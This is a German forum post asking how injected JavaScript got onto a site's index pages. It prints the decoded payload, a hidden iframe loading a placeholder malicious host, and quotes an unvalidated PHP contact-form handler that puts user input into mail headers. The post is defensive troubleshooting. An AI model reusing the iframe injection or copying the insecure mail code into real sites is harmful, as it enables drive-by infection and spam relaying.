Patrick Andrieu: Wie kommt schadhafter JavaScript-Code in die Startseite?

Beitrag lesen

Hallo alle!

Ich stelle die Frage unter PHP, weil ich ein unsicheres Kontaktformular in Verdacht habe, doch der Reihe nach. Der Themenbereich kann natürlich gegen einen passenderen von den Antwortenden ausgetauscht werden.

Bei einem Bekannten war die Startseite mit einem JavaScript-Schnipsel infiziert, so ähnlich wie hier beschrieben. Der im Beitrag verlinkte Code ist allerdings viel länger als beim Bekannten, und ich hatte durch simples Austauschen des »document.write« durch ein »alert« bereits herausgefunden, dass der Code ein verstecktes iFrame ins Dokument einbaut, denn das kam dabei raus:

<div style="visibility:hidden"><iframe src="http://schadhaft.example.com/ld/ment/" widht=100 height=80></iframe></div>

Doch im verlinkten Beitrag wird die Frage »Ebenso unklar bleibt, wie der Code denn nun in das Index-Dokument seiner Website kam« nicht beantwortet, und die interessiert mich viel mehr als das, was der Code-Schnipsel macht.

Andere User in anderen Blogs/Foren berichteten, dass alle index.html-Dateien (also auch in Unterordnern) »infiziert« waren.

Frage: Wie gelang der JavaScript-Code in die Startseite bzw. index.html-Seiten?

Der PHP-Code der Kontakt-Seite sieht wie folgt aus:

            <?php if (isset ($Email) && isset ($VName) && isset($Nachricht)){  
                $MailTo="kunde@example.com";  
                $nowDay=date("d.m.Y");  
                $nowClock=date("H:i:s");  
                $FormContent="  
                Kontaktformular Kunde\n  
                Diese Nachricht wurde am  $nowDay um $nowClock abgeschickt.\n\n  
                ---------------------------------------------------------\n  
                Vorname: $VName\n  
                Name: $NName\n  
                Email: $Email\n  
                Telefon: $Tel\n\n  
                ---------------------------------------------------------\n  
                Nachricht: $Nachricht\n  
                ---------------------------------------------------------\n  
                ";  
                mail($MailTo,"Nachricht von $VName $NName", $FormContent, "From: $Email");  
                }  
            ?>

und ist unterhalb eines Formulars notiert, deren Feldnamen den Variablenbezeichungen entspricht.

Auch wenn ich von PHP soviel Ahnung habe wie vom Pizzabacken sehe ich hier, dass wir eine wunderbare Spamschleuder haben, denn nichts, aber rein gar nichts wird geprüft. Abgesehen des Missbrauchs als Spamschleuder, kann so ein unsicheres PHP-Code die Ursache sein für die Infizierung? Es wird keine Bestätigungsseite ausgegeben, deren Infizierung ein Leichtes wäre, so dass die Frage weiter oben bleibt: Wie kommen die Hacker auf die _Startseite_?

P.S.: Den Code habe ich, bis ich einen sichereren PHP-Code finde, durch eine E-Mail-Adresse ausgetauscht. Perl steht auf dem Webspace des Bekannten nicht zur Verfügung, sonst hätte ich meinen eigenen, sicheren Formmailer eingebaut.

Viele Grüße aus Frankfurt/Main,
Patrick

--
_ - jenseits vom delirium - _

   Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
J'ai 10 ans! | Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?